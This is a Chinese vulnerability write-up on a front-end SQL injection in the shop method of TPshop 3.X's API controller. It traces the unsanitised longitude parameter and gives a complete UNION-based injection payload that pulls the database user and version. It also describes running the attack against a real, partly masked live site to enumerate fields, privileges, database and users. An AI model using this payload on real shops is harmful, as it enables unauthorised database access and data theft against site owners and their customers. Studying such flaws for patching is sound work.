TPshop API接口前台注入漏洞(通杀3.X)
- 发表于
- Vulndb
TPshop 注入漏洞
TPshop是国内应用范围大、覆盖面广的电商软件产品。
漏洞分析
跟踪到/application/home/controller/Api.php
控制器中的shop
方法:
流程分析
379~384 Line: 获取外部输入并赋值给变量
385~387 Line: $province_id、$province_id、$district_id判断以上三个遍历是否为空,若成立返回空的json
388 Line: 将$province_id、$city_id、$district_id放入$where数组中以供SQL查询
389 Line: 定义变量$field并赋值为*
390 Line: 定义变量$order并赋值为shop_id desc
391 Line: 判断变量$longitude是否为真
392 Line: 将$longitude、$latitude拼接到SQL语句中并赋值到$field中
393 Line: 将$order赋值为distance ASC
395 Line: 判断$shop_address是否为真
396 Line: 将$shop_address放入$where数组中以供SQL查询
399 Line: 带入SQL查询
代码调试
通过代码分析后发现$field
传入方法field
中,并不会将这个变量中的值预编译,而是直接带入中执行,接着来调试!在399行后添加代码如下:
print Db::name('region')->getlastsql();
getlastsql
方法在tp框架中是返回SQL语句也可以说是监听,接着往下走,访问
http://localhost:8083/index.php/home/api/shop
POST包:
province_id=1&city_id=2&district_id=1&shop_address=aaaa&latitude=1&longitude=1
为longitude
参数赋值为1’
可以看到程序已经抛出了异常,MySQL执行错误,最终Payload如下:
province_id=1&city_id=2&district_id=1&shop_address=aaaa&latitude=1&longitude=1- latitude)* 111),2))),2) AS distance FROM `tp_shop` WHERE `deleted` = :where_deleted AND `shop_status` = :where_shop_status AND `province_id` = :where_province_id AND `city_id` = :where_city_id AND `district_id` = :where_district_id AND ( `shop_name` LIKE :where_shop_name OR `shop_address` LIKE :where_shop_address ) UNION(SELECT(user()),(version()),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29))%23
(实战中需根据字段数调整一下Payload)
漏洞复现:
示例站:http://www.e******.com/index.php/home/api/shop
字段数:28
查权限:
查库名:
查字段:
查用户:
复现来源于互联网,如有打码不严还请手下留情。
本文作者:CoolCat,原连接
原文连接:TPshop API接口前台注入漏洞(通杀3.X)
所有媒体,可在保留署名、
原文连接
的情况下转载,若非则不得使用我方内容。